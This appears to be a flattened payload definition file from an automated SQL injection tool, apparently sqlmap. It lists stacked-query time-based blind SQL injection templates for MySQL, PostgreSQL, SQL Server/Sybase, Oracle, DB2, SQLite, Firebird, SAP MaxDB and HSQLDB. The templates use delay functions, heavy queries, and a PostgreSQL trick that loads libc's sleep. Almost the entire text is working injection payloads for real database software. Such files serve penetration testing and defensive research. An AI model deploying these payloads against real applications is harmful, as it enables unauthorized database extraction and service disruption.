MySQL >= 5.0.12 stacked queries (comment)4211-81;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]);SELECT SLEEP([SLEEPTIME])#MySQL>= 5.0.12MySQL >= 5.0.12 stacked queries4311-81;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]);SELECT SLEEP([SLEEPTIME])MySQL>= 5.0.12MySQL >= 5.0.12 stacked queries (query SLEEP - comment)4311-81;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]);(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])#MySQL>= 5.0.12MySQL >= 5.0.12 stacked queries (query SLEEP)4411-81;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]);(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])MySQL>= 5.0.12MySQL < 5.0.12 stacked queries (BENCHMARK - comment)4321-81;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]);SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))#MySQLMySQL < 5.0.12 stacked queries (BENCHMARK)4521-81;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]);SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))MySQLPostgreSQL > 8.1 stacked queries (comment)4111-81;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);SELECT PG_SLEEP([SLEEPTIME])--PostgreSQL> 8.1PostgreSQL > 8.1 stacked queries4411-81;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);SELECT PG_SLEEP([SLEEPTIME])PostgreSQL> 8.1PostgreSQL stacked queries (heavy query - comment)4221-81;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END);SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)--PostgreSQLPostgreSQL stacked queries (heavy query)4521-81;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END);SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)PostgreSQLPostgreSQL < 8.2 stacked queries (Glibc - comment)4311-81;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])--PostgreSQL< 8.2LinuxPostgreSQL < 8.2 stacked queries (Glibc)4511-81;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])PostgreSQL< 8.2LinuxMicrosoft SQL Server/Sybase stacked queries (comment)4111-81;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';WAITFOR DELAY '0:0:[SLEEPTIME]'--Microsoft SQL ServerSybaseMicrosoft SQL Server/Sybase stacked queries (DECLARE - comment)4211-81;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x--Microsoft SQL ServerSybaseMicrosoft SQL Server/Sybase stacked queries4411-81;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';WAITFOR DELAY '0:0:[SLEEPTIME]'Microsoft SQL ServerSybaseMicrosoft SQL Server/Sybase stacked queries (DECLARE)4511-81;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @xMicrosoft SQL ServerSybaseOracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)4111-81;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL--OracleOracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)4411-81;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUALOracleOracle stacked queries (heavy query - comment)4221-81;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5--OracleOracle stacked queries (heavy query)4521-81;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5OracleOracle stacked queries (DBMS_LOCK.SLEEP - comment)4411-81;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END--OracleOracle stacked queries (DBMS_LOCK.SLEEP)4511-81;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); ENDOracleOracle stacked queries (USER_LOCK.SLEEP - comment)4511-81;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END--OracleOracle stacked queries (USER_LOCK.SLEEP)4511-81;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); ENDOracleIBM DB2 stacked queries (heavy query - comment)4321-81;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]);SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3--IBM DB2IBM DB2 stacked queries (heavy query)4521-81;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]);SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3IBM DB2SQLite > 2.0 stacked queries (heavy query - comment)4321-81;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END);SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))--SQLite> 2.0SQLite > 2.0 stacked queries (heavy query)4521-81;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END);SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))SQLite> 2.0Firebird stacked queries (heavy query - comment)4421-81;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4--Firebird>= 2.0Firebird stacked queries (heavy query)4521-81;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4Firebird>= 2.0SAP MaxDB stacked queries (heavy query - comment)4421-81;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3--SAP MaxDBSAP MaxDB stacked queries (heavy query)4521-81;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3SAP MaxDBHSQLDB >= 1.7.2 stacked queries (heavy query - comment)4421-81;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)--HSQLDB>= 1.7.2HSQLDB >= 1.7.2 stacked queries (heavy query)4521-81;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)HSQLDB>= 1.7.2HSQLDB >= 2.0 stacked queries (heavy query - comment)4421-81;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)--HSQLDB>= 2.0HSQLDB >= 2.0 stacked queries (heavy query)4521-81;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)HSQLDB>= 2.0